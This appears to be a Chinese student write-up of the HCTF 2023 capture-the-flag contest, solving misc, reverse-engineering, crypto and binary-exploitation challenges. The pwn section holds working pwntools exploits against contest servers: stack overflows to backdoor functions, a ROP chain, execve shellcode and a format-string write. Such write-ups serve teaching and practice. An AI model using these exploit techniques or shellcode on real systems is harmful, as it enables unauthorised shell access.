HCTF 2023 WP

HCTF 2023 wp

一、Misc

1.玩原神玩的

分析:附件为一张图片

玩原神玩的.png

观察最后一行,明显有flag的格式

搜索得知是

image.png

对照得flag为:hctf{yuanlainiyewanyuanshenhhh}

2.signin

附件为一段文本

1
WzEwNCwgOTksIDExNiwgMTAyLCAxMjMsIDY2LCA5NywgMTE1LCAxMDEsIDk1LCA3MCwgNjQsIDEwOSwgMTA1LCA0OSwgMTIxLCA5NSwgNTIsIDExNCwgMTAxLCA5NSwgODYsIDk3LCAxMTQsIDEwNSwgNDgsIDExNywgMTE1LCAxMjVd

base64解码后得到

1
[104, 99, 116, 102, 123, 66, 97, 115, 101, 95, 70, 64, 109, 105, 49, 121, 95, 52, 114, 101, 95, 86, 97, 114, 105, 48, 117, 115, 125]

很明显是ASCII码

编写py脚本

1
2
3
4
5
6
ascii_list = [104, 99, 116, 102, 123, 66, 97, 115, 101, 95, 70, 64, 109, 105, 49, 121, 95, 52, 114, 101, 95, 86, 97, 114, 105, 48, 117, 115, 125]

# 将ASCII码转换为字符
result = ''.join(chr(num) for num in ascii_list)

print(result)

得到hctf{Base_F@m1y_4re_Vari0us}

3.Bomb

先用nc连接,然后多尝试几次发现炸弹的分布比较固定,对照着通关即可拿到flag

image.png

二、Re

1.SDU的第一张考卷

将附件用 IDA pro打开

image.png

main函数里就有答案,最后一题需要猜,最多猜4次嘛()

image.png

flag:HCTF{ACCBDAADBB}

2. XOR

一个简单的异或,告诉了我们enc数组和密钥key,将enc数组中的元素与key逐位异或即可

写出py脚本:

1
2
3
4
5
6
7
8
9
enc = [ 16, 115, 38, 25, 3, 67, 109, 114, 23, 21, 103,52, 75, 111, 97, 90, 47, 45, 101, 32, 91, 83, 83,93, 60, 28, 0, 41, 93, 1, 109, 122, 38, 28, 17 ,40, 81, 66, 75, 67, 60, 98]
key = 'HCTF2023'

flag = ''
for i in range(len(enc)):
xor_result = enc[i] ^ ord(key[i % len(key)])
flag += chr(xor_result)

print(flag)

输出为:X0r_1s_A_V3ry_Sign1ficant_Too1_In_Encrypt!

flag:HCTF{X0r_1s_A_V3ry_Sign1ficant_Too1_In_Encrypt!}

3.Maze

放入IDA阅读代码

image.png

flag要进入一个check函数,我们继续阅读check函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
strcpy(
maze,
"********************U..**************.****..O*****...****.*******.******.*******........********************************");
count = 0;
init_location = 20;
while ( count <= 19 )
{
v1 = count++;
v2 = flag[v1];
if ( v2 == 100 )
{
++init_location;
}
else if ( v2 > 100 )
{
if ( v2 == 115 )
{
init_location += 15;
}
else if ( v2 == 119 )
{
init_location -= 15;
}
}
else if ( v2 == 97 )
{
--init_location;
}
}
return maze[init_location] == 79;
}

v2有wasd四种情况,想到上下左右四个方向

a 和 d 分别是位置-1和位置+1

而 w 和 s 是-15和+15

如果w s是向上下方向走的,则不难推出迷宫的规格为15×15

根据给出的字符串画出迷宫

1
2
3
4
5
6
7
8
***************
*****U..*******
*******.****..O
*****...****.**
*****.******.**
*****........**
***************
***************

代码里描述了起始位置为U,终点为O,则需要的操作为:

ddssaassdddddddwwwdd

flag:HCTF{ddssaassdddddddwwwdd}

三、pwn

1、gift

nc连接即可

image.png

2、Fly

先checksec一下

image.png

64位且可以进行栈溢出

然后我们阅读程序代码

image.png

read函数可以进行栈溢出,但进入if中我们需要找到一个字符使它的ASCII码值为-105

关于ASCII码为负值的原因可以参考:

https://blog.csdn.net/kelehaier/article/details/59560419

据此我们可以计算出实际的ASCII码为151

然后我们查看buf的栈

image.png

起始地址为0xD0

溢出值为:

1
offset = 0xD0+0x08

找到后门函数

image.png

后门函数起始地址为:image.png

构造payload为:

1
payload = b'a'*offset+p64(0x40086E)

exp:

1
2
3
4
5
6
7
8
from pwn import *
r = remote("10.102.32.142", 23961)
ch = chr(151)
offset = 0xD0+0x08
r.sendline(ch)
payload = b'a'*offset+p64(0x40086E)
r.sendline(payload)
r.interactive()

成功拿到shell

image.png

3.sdu_L0g1n

同样先checksec一下

image.png

同样是64位且未开启栈保护

拖进IDA分析程序

image.png

发现有两次strcmp检测,我们需要绕过strcmp检测

可以通过后面加\x00的方法绕过

找到后门函数:

image.png

观察程序结构,我们可以考虑从main函数通过read的栈溢出溢出到后门函数的位置,这样就可以劫持后门函数获取shell权限

经过反复调试,exp为

1
2
3
4
5
6
7
8
9
10
from pwn import *

r = remote("10.102.32.142", 26613)
offset = 0x40

r.sendline('SDUpwner\x00')
payload = b'N1nEmAN is C.o0O0OOOOL!\x00'+b'a'*offset +p64(0x4006C6)
r.sendline(payload)
r.interactive()

image.png

image.png

4.rdshellcode

打开附件,观察main函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
int __cdecl main(int argc, const char **argv, const char **envp)
{
char buf[104]; // [rsp+0h] [rbp-70h] BYREF
int v5; // [rsp+68h] [rbp-8h] BYREF
int v6; // [rsp+6Ch] [rbp-4h]

setvbuf(stdin, 0LL, 0, 0LL);
setvbuf(stdout, 0LL, 1, 0LL);
setvbuf(stderr, 0LL, 2, 0LL);
puts("I'm glad that you choose pwn");
puts("But i am n0t sure you really love pwn or not");
puts("Can't you prove yourself?");
puts("Tell me something....");
srand(0x2023u);
v6 = rand() % 2 - 60;
__isoc99_scanf("%d", &v5);
if ( v6 != v5 )
{
puts("You DO Not Really Love PWN !");
exit(1);
}
puts("Nice!!!!, you have proved your love for pwn");
printf("It's time for me: %p\n", buf);
puts("Dot' you want to make friends with me?");
read(0, buf, 0x100uLL);
return 0;
}

v6实际上是一个伪随机数,一直为-59,我们让v5的值为-59即可
然后程序会输出一个地址
image.png

发现地址是随机化的,所以我们要用pwntools里的内置函数读取printf出的buf的地址

exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
from pwn import *
p = remote("10.102.32.142",27714)
context(log_level = 'debug', arch = 'amd64', os = 'linux')
shellcode=asm(shellcraft.sh())
p.sendline(b'-59')
p.recvuntil(b':')
buf = p.recvline()
print(buf)
#shellcode = b'\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56\x53\x54\x5f\x6a\x3b\x58\x31\xd2\x0f\x05'
# shellcode = '\x48\x31\xff\x48\x31\xf6\x48\x31\xd2\x48\x31\xc0\x50\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x48\x89\xe7\xb0\x3b\x0f\x05'

payload = b'A' * (0x70 + 8) + p64(int(buf,16) + 0x70 + 8 + 8) + shellcode
p.sendline(payload)
p.interactive()

buf的栈深度是0x70,64位程序+8,后面再+8是shellcode地址的长度,于是我们可以得到如下模板


1
payload = b'A' * (栈深度 + 8) + p64(int(栈地址,16) + 0x70 + 8 + 8)  + shellcode

shellcode我们可以用pwntools生成

1
2
context(log_level = 'debug', arch = 'amd64', os = 'linux')
shellcode=asm(shellcraft.sh())

运行exp得到flag

5.fleshman

main函数如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
int __cdecl main(int argc, const char **argv, const char **envp)
{
char s[32]; // [rsp+0h] [rbp-20h] BYREF

memset(s, 0, sizeof(s));
init();
puts("We1c0me t0 SDU! Since y0u are f1esh here,te11 me s0mething ab0ut Y0u:");
puts("Your name: ");
read(0, s, 0x20uLL);
puts("Your ID: ");
read(0, s, 0x28uLL);
if ( !strcmp(s, "pwnner") )
{
printf("\nNice t0 mEEt y0u %s", s);
putchar(10);
vuln();
}
getflag();
return 0;
}

strcmp绕过+构造ROP链
image.png

用ROPgadget查找出pop rdi的地址

ROPgadget --binary 文件路径 --only "pop|ret" | grep rdi

然后套用rop链的模板
payload = b'a'*offset +p64(pop_rdi)+ p64(binsh)+p64(call_system)

exp如下:

1
2
3
4
5
6
7
8
9
10
11
from pwn import *
p = remote("10.102.32.142",31698)
p.sendline(b'miyu')
p.sendline(b'pwnner\x00')
offset = 0x70 + 8
binsh = 0x402640
call_system=0x401392
pop_rdi = 0x401513
payload = b'a'*offset +p64(pop_rdi)+ p64(binsh)+p64(call_system)
p.sendlineafter(b'WhAt can Y0u d0....',payload)
p.interactive()

得到flag

6.rememberornot

观察main函数,发现只要计算100道题的答案即可获得flag
直接上脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
from pwn import *
p = remote("10.102.32.142",38108)
p.recvuntil(b':')
for i in range(100):
p.recvuntil(b':')
expression = p.recvline()
Expression = expression[:-3]
print(Expression)
ans = eval(Expression)
Ans = str(ans)
print(ans)
p.sendline(Ans)
p.interactive()

利用python内置的eval函数即可进行表达式的运算

flag:HCTF{Y0U_RE@l1Y_REMEMbER_Y0uR_mA7H968ce06ba4d9}

7.overflow

本题为最简单的栈溢出
vuln函数

1
2
3
4
5
6
7
8
9
10
11
12
int vuln()
{
int result; // eax
char v1[76]; // [rsp+0h] [rbp-50h] BYREF
int v2; // [rsp+4Ch] [rbp-4h]

v2 = 0;
result = gets(v1);
if ( v2 == 2 )
return system("cat flag");
return result;
}

直接对v1进行溢出即可

exp:

1
2
3
4
5
6
7
from pwn import *
p = remote("10.102.32.142",22019)
offset = 0x50+8
system_addr=0x401225
payload = b'a'*offset+p64(system_addr)
p.sendline(payload)
p.interactive()

8. gift军训版

关键函数如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
void __cdecl junxun()
{
char you; // [rsp+6h] [rbp-Ah] BYREF
char fesitival; // [rsp+7h] [rbp-9h]
unsigned __int64 v2; // [rsp+8h] [rbp-8h]

v2 = __readfsqword(0x28u);
fesitival = -127;
puts("\x1B[33mMilitary training? When is the festival\x1B[0m");
__isoc99_scanf("%c", &you);
printf("You believe 0x%hhx is the fesitival?", (unsigned int)you);
if ( fesitival != you )
{
puts(" nononono...");
exit(1337);
}
puts(" yesyesyes!!!");
system("sh");
}

又是熟悉的ASCII码为负值的情况

实际的ASCII码为129

exp:

1
2
3
4
5
from pwn import *
p = remote("10.102.32.142",47318)
payload =chr(129)
p.sendline(payload)
p.interactive()

9.小明的家庭住址

本题核心点在于格式化字符串的利用

main函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
nt __cdecl main(int argc, const char **argv, const char **envp)
{
char buf[48]; // [rsp+0h] [rbp-70h] BYREF
char format[56]; // [rsp+30h] [rbp-40h] BYREF
unsigned __int64 v6; // [rsp+68h] [rbp-8h]

v6 = __readfsqword(0x28u);
setvbuf(stdout, 0LL, 2, 0LL);
setvbuf(stdin, 0LL, 2, 0LL);
puts("\n\x1B[33m---------------------------------------------");
puts("----------\x1B[0m\x1B[34mWelcome_to_address_SYSTEM\x1B[0m\x1B[33m----------");
puts("---------------------------------------------\x1B[0m\n");
puts("\x1B[32;5mWhere is XiaoMing's Home?\x1B[0m");
read(0, buf, 0x30uLL);
printf(buf);
puts("\x1B[32;5mAnd where is XiaoHong's?\x1B[0m");
read(0, format, 0x30uLL);
printf(format);
return 0;
}

对于这种printf没有任何限制条件的情况,我们可以利用格式化字符串漏洞

首先我们利用%p得到ret寄存器的地址

然后计算偏移

image.png

偏移为13

然后我们找到后门函数的地址0x40159C=4199836(十进制)

可以构造%4199836c%14$lln

exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
from pwn import*
p = remote("10.102.32.142", 40682)
p.recv()
p.send(b'aaaa-%p')
p.recvuntil(b'Home?\x1b[0m\n')
addr = p.recv()[5:19]
Addr = int(addr ,16)
offset = 0x70+8
ret_addr = Addr+offset
payload = b'%4199836c%14$lln'+p64(ret_addr)
p.sendline(payload)
p.interactive()

四、Crypto

1.caesar

偏移量11

hctf{obviouslythisiscaesarcipher}

2.not_caesar

维吉尼亚密码,且没有告诉我们密钥

一个好用的网站 https://www.guballa.de/vigenere-solver

通过统计字符出现的频率来爆破出密码(文本足够长)

image.png

hctf{Icanbreakitwithoutkey}

3.MathⅠ

题目如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
from Crypto.Util.number import *
from secret import prng
import os
flag = os.environ.get('FLAG', 'HCTF{this_is_a_sample_flag}')

#prng 参考2023新课标I卷P20
sys = prng()


def constraint():
time = 1000
sample_a = []
sample_b = []
for _ in range(time):
out = sys.next()
sample_a.append(out[0])
sample_b.append(out[1])
assert all([sample_a[i]-sample_a[i-1] == sys.d for i in range(1, time)])
assert all([sample_b[i-1] == (i**2+i)/sample_a[i-1] for i in range(1, time)])
assert 3*sample_a[1] == 3*sample_a[0]+sample_a[2]
return sum(sample_a[:777]+sample_b[:777])


def rsa_plus(m):
p = getPrime(512)
q = getPrime(512)
n = p*q
e = 0x10001
m = bytes_to_long(m.encode())
r1 = sys.next()[0]
r2 = sys.next()[0]
c = pow(pow(pow(m, e, n)*r1, e, n)*r2, e, n)
h = 2*p+3*q
return n, c, h

h1 = constraint()
n, c, h2 = rsa_plus(flag)
print(f'n = {n}')
print(f'c = {c}')
print(f'hint1 = {h1}')
print(f'hint2 = {h2}')
"""
n = 123448414953228974011805323696137868781943298061640108583721204983031140531897314375841622324228108297198646457634512292527604743406056418492269259916712299664727931022315281719439527653756604578385299396113560339992952472500080663133453498156861989739986186852600863076353168997852910108312422507070843691527
c = 70355784775921655880380025465489949573241301926464797611681833071256665441460869302372712558837199110767728290007652944220079907048322612573185968943864339915304868935319658344195708544022979094906385190425552202576200107202487083736800245172584184112275476974513051986233708501062909943346214681580048469716
hint1 = 234850971.0
hint2 = 54673117809069678475594947601860826118221736045735845051744912971409541561632603188516528135267179886112707141940065852170163389165168708306257365103150093
"""

constraint()函数描述了2023新课标I卷P20的题干部分
并且告诉我们h1是$a_n$和$b_n$的前777项和,即
$$
S_{777}+T_{777}=h1
$$
我们由此可以计算出$a_n$的通项公式为$a_n=777n$
根据time=1000,我们可以得出$r_1$和$r_2$是数列$a_n$的第1001项和第1002项,即:
$$
r_1=777\times1001\
r_2=777\times1002
$$
然后根据含有$p,q$的两个式子,可以得到一个二元方程组:

$$
\begin{cases} pq=n\ 2p+3*q=hint2 \end{cases}
$$
其中$n$和$hint2$都是已知的,因此我们可以解出$p$和$q$。

1
2
3
4
5
6
7
8
from sympy import symbols, Eq, solve
import gmpy2
# 定义未知数
p, q = symbols("p q")
# 解方程
expr2 = [2*p+3*q-54673117809069678475594947601860826118221736045735845051744912971409541561632603188516528135267179886112707141940065852170163389165168708306257365103150093, p*q-123448414953228974011805323696137868781943298061640108583721204983031140531897314375841622324228108297198646457634512292527604743406056418492269259916712299664727931022315281719439527653756604578385299396113560339992952472500080663133453498156861989739986186852600863076353168997852910108312422507070843691527]
r2 = solve(expr2, [p, q])
print("r2:", r2)

得到:

p = 12384051763953430863668172341605062087552196009776396484360059546294965143403046818805051855772540020996782547927228938821561716941140613694437078638123523
q = 9968338093720938916086200972883567314372448008727684027674931292939870424942169850302141474574033281373047348695202658175679985094295826972461069275634349

然后我们根据c = pow(pow(pow(m, e, n)*r1, e, n)*r2, e, n)
进行解密

exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
import gmpy2
from Crypto.Util.number import *
r1=1001*777
r2=1002*777
p = 12384051763953430863668172341605062087552196009776396484360059546294965143403046818805051855772540020996782547927228938821561716941140613694437078638123523
q = 9968338093720938916086200972883567314372448008727684027674931292939870424942169850302141474574033281373047348695202658175679985094295826972461069275634349
c = 70355784775921655880380025465489949573241301926464797611681833071256665441460869302372712558837199110767728290007652944220079907048322612573185968943864339915304868935319658344195708544022979094906385190425552202576200107202487083736800245172584184112275476974513051986233708501062909943346214681580048469716
e = 0x10001
n = 123448414953228974011805323696137868781943298061640108583721204983031140531897314375841622324228108297198646457634512292527604743406056418492269259916712299664727931022315281719439527653756604578385299396113560339992952472500080663133453498156861989739986186852600863076353168997852910108312422507070843691527
phi = (p - 1) * (q - 1)
d = gmpy2.invert(e, phi)
m = pow(c, d, n)
c1 = m*gmpy2.invert(r2, n)
m1 = pow(c1, d, n)
c2 = m1*gmpy2.invert(r1, n)
m2 = pow(c2, d, n)
print(long_to_bytes(m2).decode())

在共模下做除法我们需要求出r1和r2关于n的逆元$r_1^{-1}$和$r_2^{-1}$

最终解得flag为:

HCTF{D0_y0u_900d_4t_m47h?###}

五、Web

1.